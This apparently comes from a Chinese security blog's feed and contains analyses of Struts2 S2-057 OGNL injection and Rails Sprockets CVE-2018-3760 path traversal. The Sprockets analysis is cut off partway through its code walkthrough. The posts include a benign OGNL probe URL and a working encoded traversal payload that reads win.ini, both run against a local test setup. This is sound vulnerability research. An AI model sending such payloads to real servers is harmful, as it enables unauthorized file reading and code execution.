    <title>【Struts2-代码执行漏洞分析系列】S2-057</title>
    <link href="http://chybeta.github.io/2018/09/10/%E3%80%90Struts2-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E7%B3%BB%E5%88%97%E3%80%91S2-057/"/>
    <id>http://chybeta.github.io/2018/09/10/【Struts2-代码执行漏洞分析系列】S2-057/</id>
    <published>2018-09-10T00:01:31.000Z</published>
    <updated>2018-09-10T00:04:08.040Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://xz.aliyun.com/t/2618" target="_blank" rel="external">【Struts2-代码执行漏洞分析系列】S2-057</a></p>
<a id="more"></a>
<h1 id="漏洞公告"><a href="#漏洞公告" class="headerlink" title="漏洞公告"></a>漏洞公告</h1><p><a href="https://cwiki.apache.org/confluence/display/WW/S2-057" target="_blank" rel="external">https://cwiki.apache.org/confluence/display/WW/S2-057</a></p>
<p>问题：<br>It is possible to perform a RCE attack when namespace value isn’t set for a result defined in underlying xml configurations and in same time, its upper action(s) configurations have no or wildcard namespace. Same possibility when using url tag which doesn’t have value and action set and in same time, its upper action(s) configurations have no or wildcard namespace.</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142551-6186f580-a69d-1.png" alt="1.png"></p>
<p>漏洞发现者的博客： <a href="https://lgtm.com/blog/apache_struts_CVE-2018-11776" target="_blank" rel="external">https://lgtm.com/blog/apache_struts_CVE-2018-11776</a></p>
<h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>下载 <a href="https://archive.apache.org/dist/struts/2.5.16/struts-2.5.16-all.zip" target="_blank" rel="external">https://archive.apache.org/dist/struts/2.5.16/struts-2.5.16-all.zip</a></p>
<p>IDEA中打开，修改apps/showcase/src/main/resources/struts-actionchaining.xml 为：<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;!DOCTYPE struts PUBLIC</span></div><div class="line">	"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN"</div><div class="line">	"http://struts.apache.org/dtds/struts-2.5.dtd"&gt;</div><div class="line"></div><div class="line"><span class="tag">&lt;<span class="name">struts</span>&gt;</span></div><div class="line">	<span class="tag">&lt;<span class="name">package</span> <span class="attr">name</span>=<span class="string">"actionchaining"</span> <span class="attr">extends</span>=<span class="string">"struts-default"</span>&gt;</span></div><div class="line">		<span class="tag">&lt;<span class="name">action</span> <span class="attr">name</span>=<span class="string">"actionChain1"</span> <span class="attr">class</span>=<span class="string">"org.apache.struts2.showcase.actionchaining.ActionChain1"</span>&gt;</span></div><div class="line">			<span class="tag">&lt;<span class="name">result</span> <span class="attr">type</span>=<span class="string">"redirectAction"</span>&gt;</span></div><div class="line">				<span class="tag">&lt;<span class="name">param</span> <span class="attr">name</span> = <span class="string">"actionName"</span>&gt;</span>register2<span class="tag">&lt;/<span class="name">param</span>&gt;</span></div><div class="line">			<span class="tag">&lt;/<span class="name">result</span>&gt;</span></div><div class="line">		<span class="tag">&lt;/<span class="name">action</span>&gt;</span></div><div class="line">	<span class="tag">&lt;/<span class="name">package</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">struts</span>&gt;</span></div></pre></td></tr></table></figure></p>
<p>同时查看 org/apache/struts2/default.properties:201 ，其值为true<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">### Whether to always select the namespace to be everything before the last slash or not</div><div class="line">struts.mapper.alwaysSelectFullNamespace=true</div></pre></td></tr></table></figure></p>
<p>访问: <a href="http://localhost:8081/${(111+111)}/actionChain1.action" target="_blank" rel="external">http://localhost:8081/${(111+111)}/actionChain1.action</a></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142551-61995536-a69d-1.gif" alt="2.gif"></p>
<p>url变为： <a href="http://localhost:8081/222/register2.action" target="_blank" rel="external">http://localhost:8081/222/register2.action</a></p>
<p>111+111=222 即产生了OGNL注入。</p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>这次的漏洞可以有多种攻击向量，根据<a href="https://lgtm.com/blog/apache_struts_CVE-2018-11776" target="_blank" rel="external">漏洞作者blog</a>有:</p>
<ol>
<li><a href="https://struts.apache.org/core-developers/redirect-action-result.html" target="_blank" rel="external">Redirect action</a></li>
<li><a href="https://struts.apache.org/core-developers/action-chaining.html" target="_blank" rel="external">Action chaining</a></li>
<li><a href="https://struts.apache.org/core-developers/postback-result.html" target="_blank" rel="external">Postback result</a></li>
</ol>
<p>以上提及的三种都属于Struts2的跳转方式。在 struts-default.xml:190(截取部分)<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">result-types</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">result-type</span> <span class="attr">name</span>=<span class="string">"chain"</span> <span class="attr">class</span>=<span class="string">"com.opensymphony.xwork2.ActionChainResult"</span>/&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">result-type</span> <span class="attr">name</span>=<span class="string">"redirectAction"</span> <span class="attr">class</span>=<span class="string">"org.apache.struts2.result.ServletActionRedirectResult"</span>/&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">result-type</span> <span class="attr">name</span>=<span class="string">"postback"</span> <span class="attr">class</span>=<span class="string">"org.apache.struts2.result.PostbackResult"</span> /&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">result-types</span>&gt;</span></div></pre></td></tr></table></figure></p>
<p>为清楚起见，这里解释一下strut2中对<code>默认result对象</code>的处理过程。这些<code>默认result type</code>都要经过 com/opensymphony/xwork2/DefaultActionInvocation.java:367 处理<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">executeResult</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    result = createResult();</div><div class="line"></div><div class="line">    String timerKey = <span class="string">"executeResult: "</span> + getResultCode();</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        UtilTimerStack.push(timerKey);</div><div class="line">        <span class="keyword">if</span> (result != <span class="keyword">null</span>) &#123;</div><div class="line">            result.execute(<span class="keyword">this</span>);</div><div class="line">        &#125; </div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>首先通过<code>result = createResult()</code>获取到相应的result对象。如果result不为null则执行<code>result.execute(this);</code>。这个<code>execute</code>方法则由具体result对象实现。</p>
<p>有一些具体的result对象比如下面提到的Redirect action和Postback result，会产生一个跳转地址location，并传入org/apache/struts2/result/StrutsResultSupport.java:194:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line">    * Implementation of the &lt;tt&gt;execute&lt;/tt&gt; method from the &lt;tt&gt;Result&lt;/tt&gt; interface. This will call</div><div class="line">    * the abstract method &#123;<span class="doctag">@link</span> #doExecute(String, ActionInvocation)&#125; after optionally evaluating the</div><div class="line">    * location as an OGNL evaluation.</div><div class="line">    *</div><div class="line">    * <span class="doctag">@param</span> invocation the execution state of the action.</div><div class="line">    * <span class="doctag">@throws</span> Exception if an error occurs while executing the result.</div><div class="line">*/</div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">execute</span><span class="params">(ActionInvocation invocation)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    lastFinalLocation = conditionalParse(location, invocation);</div><div class="line">    doExecute(lastFinalLocation, invocation);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>而<code>conditionalParse</code>定义如下，将会执行OGNL表达式。<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line">    * Parses the parameter for OGNL expressions against the valuestack</div><div class="line">    *</div><div class="line">    * <span class="doctag">@param</span> param The parameter value</div><div class="line">    * <span class="doctag">@param</span> invocation The action invocation instance</div><div class="line">    * <span class="doctag">@return</span> the resulting string</div><div class="line">*/</div><div class="line"><span class="function"><span class="keyword">protected</span> String <span class="title">conditionalParse</span><span class="params">(String param, ActionInvocation invocation)</span> </span>&#123;</div><div class="line">    <span class="keyword">if</span> (parse &amp;&amp; param != <span class="keyword">null</span> &amp;&amp; invocation != <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">return</span> TextParseUtil.translateVariables(</div><div class="line">            param, </div><div class="line">            invocation.getStack(),</div><div class="line">            <span class="keyword">new</span> EncodingParsedValueEvaluator());</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        <span class="keyword">return</span> param;</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>所以可以看到重点是StrutsResultSupport中<code>conditionalParse(location, invocation)</code>的location变量。</p>
<p>接下来部分就关注三种result-type的具体实现和具体攻击点。</p>
<h2 id="攻击点一：Redirect-action"><a href="#攻击点一：Redirect-action" class="headerlink" title="攻击点一：Redirect action"></a>攻击点一：<a href="https://struts.apache.org/core-developers/redirect-action-result.html" target="_blank" rel="external">Redirect action</a></h2><p>apps/showcase/src/main/resources/struts-actionchaining.xml 中注意<code>&lt;result&gt;</code>标签中<code>&lt;type&gt;</code>为<code>redirectAction</code>：<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">result</span> <span class="attr">type</span>=<span class="string">"redirectAction"</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">param</span> <span class="attr">name</span> = <span class="string">"actionName"</span>&gt;</span>register2<span class="tag">&lt;/<span class="name">param</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">result</span>&gt;</span></div></pre></td></tr></table></figure></p>
<p><code>redirectAction</code>对应的处理类为<code>org.apache.struts2.result.ServletActionRedirectResult</code></p>
<p>在 com/opensymphony/xwork2/DefaultActionInvocation.java:368</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142551-61bfb9f6-a69d-1.png" alt="5.png"></p>
<p>跟入<code>redirectAction</code>的<code>execute</code>方法即 org/apache/struts2/result/ServletActionRedirectResult.java:160<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">execute</span><span class="params">(ActionInvocation invocation)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    actionName = conditionalParse(actionName, invocation);</div><div class="line">    <span class="keyword">if</span> (namespace == <span class="keyword">null</span>) &#123;</div><div class="line">        namespace = invocation.getProxy().getNamespace();</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142551-61dc87d4-a69d-1.png" alt="6.png"></p>
<p>由于在配置xml时没有指定naPmespace，所以这里的namespace为null，将会执行<code>invocation.getProxy().getNamespace();</code></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142551-61f31a76-a69d-1.png" alt="7.png"></p>
<p>所以执行后对于result对象的namespace即为<code>/${(111+111)}</code>。</p>
<p>同一函数中继续执行 172行<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">execute</span><span class="params">(ActionInvocation invocation)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    ...</div><div class="line"></div><div class="line">    String tmpLocation = actionMapper.getUriFromActionMapping(<span class="keyword">new</span> ActionMapping(actionName, namespace, method, <span class="keyword">null</span>));</div><div class="line"></div><div class="line">    setLocation(tmpLocation);</div><div class="line"></div><div class="line">    <span class="keyword">super</span>.execute(invocation);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p><code>ActionMapping</code>生成如下，<code>this.namespace</code>值赋为<code>/${(111+111)}</code>：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142551-6205e480-a69d-1.png" alt="9.png"></p>
<p>跟入<code>getUriFromActionMapping</code>:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> String <span class="title">getUriFromActionMapping</span><span class="params">(ActionMapping mapping)</span> </span>&#123;</div><div class="line">    StringBuilder uri = <span class="keyword">new</span> StringBuilder();</div><div class="line"></div><div class="line">    handleNamespace(mapping, uri);</div><div class="line">    handleName(mapping, uri);</div><div class="line">    handleDynamicMethod(mapping, uri);</div><div class="line">    handleExtension(mapping, uri);</div><div class="line">    handleParams(mapping, uri);</div><div class="line"></div><div class="line">    <span class="keyword">return</span> uri.toString();</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p><code>handleNamespace</code>处理结果如下：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142552-6216bbac-a69d-1.png" alt="10.png"></p>
<p>当函数返回，<code>tmpLocation</code>值为<code>/${(111+111)}/register2.action</code>，然后通过<code>setLocation(tmpLocation)</code>使得location变量值为<code>/${(111+111)}/register2.action</code>，从而最终造成OGNL注入。</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142552-6233aa28-a69d-1.png" alt="8.png"></p>
<h2 id="攻击点二：-Action-chaining"><a href="#攻击点二：-Action-chaining" class="headerlink" title="攻击点二： Action chaining"></a>攻击点二： <a href="https://struts.apache.org/core-developers/action-chaining.html" target="_blank" rel="external">Action chaining</a></h2><p>apps/showcase/src/main/resources/struts-actionchaining.xml 中注意<code>&lt;result&gt;</code>标签中<code>&lt;type&gt;</code>为<code>chain</code>：<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">result</span> <span class="attr">type</span>=<span class="string">"chain"</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">param</span> <span class="attr">name</span> = <span class="string">"actionName"</span>&gt;</span>register2<span class="tag">&lt;/<span class="name">param</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">result</span>&gt;</span></div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142552-62464c5a-a69d-1.png" alt="17.png"></p>
<p>同样会先经过<code>result = createResult()</code>，然后调用<code>result.execute(this);</code>。这会进入到 com/opensymphony/xwork2/ActionChainResult.java:203<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">execute</span><span class="params">(ActionInvocation invocation)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    <span class="comment">// if the finalNamespace wasn't explicitly defined, assume the current one</span></div><div class="line">    <span class="keyword">if</span> (<span class="keyword">this</span>.namespace == <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">this</span>.namespace = invocation.getProxy().getNamespace();</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    ValueStack stack = ActionContext.getContext().getValueStack();</div><div class="line">    String finalNamespace = TextParseUtil.translateVariables(namespace, stack);</div><div class="line">    String finalActionName = TextParseUtil.translateVariables(actionName, stack);</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>由于没有设定<code>namespace</code>，所以通过<code>invocation.getProxy().getNamespace()</code>使得<code>this.namespace</code>值为<code>/${(111+111)}</code>。然后调用了<code>String finalNamespace = TextParseUtil.translateVariables(namespace, stack);</code>对namespace进行OGNL解析。如下</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142552-6265f7b2-a69d-1.png" alt="11.png"></p>
<h2 id="攻击点三：Postback-result"><a href="#攻击点三：Postback-result" class="headerlink" title="攻击点三：Postback result"></a>攻击点三：<a href="https://struts.apache.org/core-developers/postback-result.html" target="_blank" rel="external">Postback result</a></h2><p>apps/showcase/src/main/resources/struts-actionchaining.xml 中注意<code>&lt;result&gt;</code>标签中<code>&lt;type&gt;</code>为<code>postback</code>：<br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="tag">&lt;<span class="name">result</span> <span class="attr">type</span>=<span class="string">"postback"</span>&gt;</span></div><div class="line">    <span class="tag">&lt;<span class="name">param</span> <span class="attr">name</span> = <span class="string">"actionName"</span>&gt;</span>register2<span class="tag">&lt;/<span class="name">param</span>&gt;</span></div><div class="line"><span class="tag">&lt;/<span class="name">result</span>&gt;</span></div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142552-627a9546-a69d-1.png" alt="16.png"><br>经过<code>result = createResult()</code>，跟入定位到<code>postback</code>这个result对象的处理方法，在 org/apache/struts2/result/PostbackResult.java:113<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="meta">@Override</span></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">execute</span><span class="params">(ActionInvocation invocation)</span> <span class="keyword">throws</span> Exception </span>&#123;</div><div class="line">    String postbackUri = makePostbackUri(invocation);</div><div class="line">    setLocation(postbackUri);</div><div class="line">    <span class="keyword">super</span>.execute(invocation);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>跟入<code>makePostbackUri1</code>，在org/apache/struts2/result/PostbackResult.java:129<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">protected</span> String <span class="title">makePostbackUri</span><span class="params">(ActionInvocation invocation)</span> </span>&#123;</div><div class="line">    ActionContext ctx = invocation.getInvocationContext();</div><div class="line">    HttpServletRequest request = (HttpServletRequest) ctx.get(ServletActionContext.HTTP_REQUEST);</div><div class="line">    String postbackUri;</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (actionName != <span class="keyword">null</span>) &#123;</div><div class="line">        actionName = conditionalParse(actionName, invocation);</div><div class="line">        <span class="keyword">if</span> (namespace == <span class="keyword">null</span>) &#123;</div><div class="line">            namespace = invocation.getProxy().getNamespace();</div><div class="line">        &#125; <span class="keyword">else</span> &#123;</div><div class="line">            namespace = conditionalParse(namespace, invocation);</div><div class="line">        &#125;</div><div class="line">        ...</div><div class="line">        postbackUri = request.getContextPath() + actionMapper.getUriFromActionMapping(<span class="keyword">new</span> ActionMapping(actionName, namespace, method, <span class="keyword">null</span>));</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line"></div><div class="line">    <span class="keyword">return</span> postbackUri;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142552-62a0f9e8-a69d-1.png" alt="12.png"></p>
<p>获取到<code>namespace</code>值为<code>/${(111+111)}</code>。跟入<code>actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null))</code>，其具体执行过程如攻击点一[Redirect action]提到的那样，设置namespace等参数，然后从<code>getUriFromActionMapping</code>中返回uri。最后组装的postbackUri为<code>/${(111+111)}/register2.action</code></p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142553-62bd3748-a69d-1.png" alt="13.png"></p>
<p>回到前面的<code>execute</code>中通过<code>setLocation(postbackUri)</code>设置了location变量：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142553-62d8fff0-a69d-1.png" alt="14.png"></p>
<p>此后location变量传入，造成OGNL表达式注入</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180823142553-62f34194-a69d-1.png" alt="15.png"></p>
<h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul>
<li><a href="https://struts.apache.org/core-developers/namespace-configuration.html" target="_blank" rel="external">https://struts.apache.org/core-developers/namespace-configuration.html</a></li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/2618&quot;&gt;【Struts2-代码执行漏洞分析系列】S2-057&lt;/a&gt;&lt;/p&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="命令执行" scheme="http://chybeta.github.io/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/"/>
    
      <category term="代码执行" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/"/>
    
      <category term="struts2" scheme="http://chybeta.github.io/tags/struts2/"/>
    
      <category term="s2" scheme="http://chybeta.github.io/tags/s2/"/>
    
  </entry>
  
  <entry>
    <title>Ruby on Rails 路径穿越与任意文件读取漏洞分析 -【CVE-2018-3760】</title>
    <link href="http://chybeta.github.io/2018/08/20/Ruby-on-Rails-%E8%B7%AF%E5%BE%84%E7%A9%BF%E8%B6%8A%E4%B8%8E%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-3760%E3%80%91/"/>
    <id>http://chybeta.github.io/2018/08/20/Ruby-on-Rails-路径穿越与任意文件读取漏洞分析-【CVE-2018-3760】/</id>
    <published>2018-08-20T08:33:19.000Z</published>
    <updated>2018-08-20T08:35:01.842Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://xz.aliyun.com/t/2542" target="_blank" rel="external">Ruby on Rails 路径穿越与任意文件读取漏洞分析 -【CVE-2018-3760】</a><br><a id="more"></a></p>
<h1 id="漏洞公告"><a href="#漏洞公告" class="headerlink" title="漏洞公告"></a>漏洞公告</h1><p>该漏洞由安全研究人员 <a href="https://twitter.com/orange_8361" target="_blank" rel="external">Orange Tsai</a>发现。漏洞公告来自  <a href="https://groups.google.com/forum/#!topic/rubyonrails-security/ft_J--l55fM" target="_blank" rel="external">https://groups.google.com/forum/#!topic/rubyonrails-security/ft_J--l55fM</a><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">There is an information leak vulnerability in Sprockets. This vulnerability</div><div class="line">has been assigned the CVE identifier CVE-2018-3760.</div><div class="line"></div><div class="line">Versions Affected: 4.0.0.beta7 and lower, 3.7.1 and lower, 2.12.4 and lower.</div><div class="line">Not affected: NONE</div><div class="line">Fixed Versions: 4.0.0.beta8, 3.7.2, 2.12.5</div><div class="line"></div><div class="line">Impact</div><div class="line">------</div><div class="line">Specially crafted requests can be used to access files that exists on</div><div class="line">the filesystem that is outside an application&apos;s root directory, when the Sprockets server is</div><div class="line">used in production.</div><div class="line"></div><div class="line">All users running an affected release should either upgrade or use one of the work arounds immediately.</div></pre></td></tr></table></figure></p>
<p>影响面： development servers，且开启了 <code>config.assets.compile</code></p>
<h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><p>本地安装好ruby和rails。以ruby 2.4.4 ，rails v5.0.7为例：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">$ gem install rails -v <span class="number">5.0</span>.<span class="number">7</span></div><div class="line">$ rails new blog &amp;&amp; cd blog</div></pre></td></tr></table></figure></p>
<p>此时blog这个rails项目使用的sprockets版本是3.7.2（fixed）。修改blog目录下的Gemfile.lock第122行：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">sprockets (<span class="number">3.7</span>.<span class="number">1</span>)</div></pre></td></tr></table></figure></p>
<p>修改配置文件 <code>config/environments/production.rb</code>：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">config.assets.compile = true</div></pre></td></tr></table></figure></p>
<p>在blog目录下执行<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">$ bundle install</div><div class="line">$ rails server                                     </div><div class="line">    * Min threads: 5, max threads: 5                           </div><div class="line">    * Environment: development                                 </div><div class="line">    * Listening on tcp://0.0.0.0:3000                          </div><div class="line">    Use Ctrl-C to stop</div></pre></td></tr></table></figure></p>
<p>payload:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">GET /assets/file:%2f%2f//C:/chybeta/blog/app/assets/config/%252e%252e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2fWindows/win.ini</div></pre></td></tr></table></figure></p>
<p>win平台：</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180808122707-4f3b27b0-9ac3-1.png" alt="win.png"></p>
<p>linux平台</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180808122707-4f6242e6-9ac3-1.png" alt="linux.png"></p>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>注：为明白起见，许多分析直接写在代码注释部分，请留意。</p>
<p>问题出在<code>sprockets</code>，它用来检查 JavaScript 文件的相互依赖关系，用以优化网页中引入的js文件，以避免加载不必要的js文件。当访问如<code>http://127.0.0.1:3000/assets/foo.js</code>时，会进入server.rb:<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">call</span><span class="params">(env)</span></span></div><div class="line">    start_time = Time.now.to_f</div><div class="line">    time_elapsed = lambda &#123; ((Time.now.to_f - start_time) * <span class="number">1000</span>).to_i &#125;</div><div class="line"></div><div class="line">    <span class="keyword">if</span> ![<span class="string">'GET'</span>, <span class="string">'HEAD'</span>].<span class="keyword">include</span>?(env[<span class="string">'REQUEST_METHOD'</span>])</div><div class="line">    <span class="keyword">return</span> method_not_allowed_response</div><div class="line">    <span class="keyword">end</span></div><div class="line"></div><div class="line">    msg = <span class="string">"Served asset <span class="subst">#&#123;env[<span class="string">'PATH_INFO'</span>]&#125;</span> -"</span></div><div class="line"></div><div class="line">    <span class="comment"># Extract the path from everything after the leading slash</span></div><div class="line">    path = Rack::Utils.unescape(env[<span class="string">'PATH_INFO'</span>].to_s.sub(<span class="regexp">/^\//</span>, <span class="string">''</span>))</div><div class="line"></div><div class="line">    <span class="comment"># Strip fingerprint</span></div><div class="line">    <span class="keyword">if</span> fingerprint = path_fingerprint(path)</div><div class="line">      path = 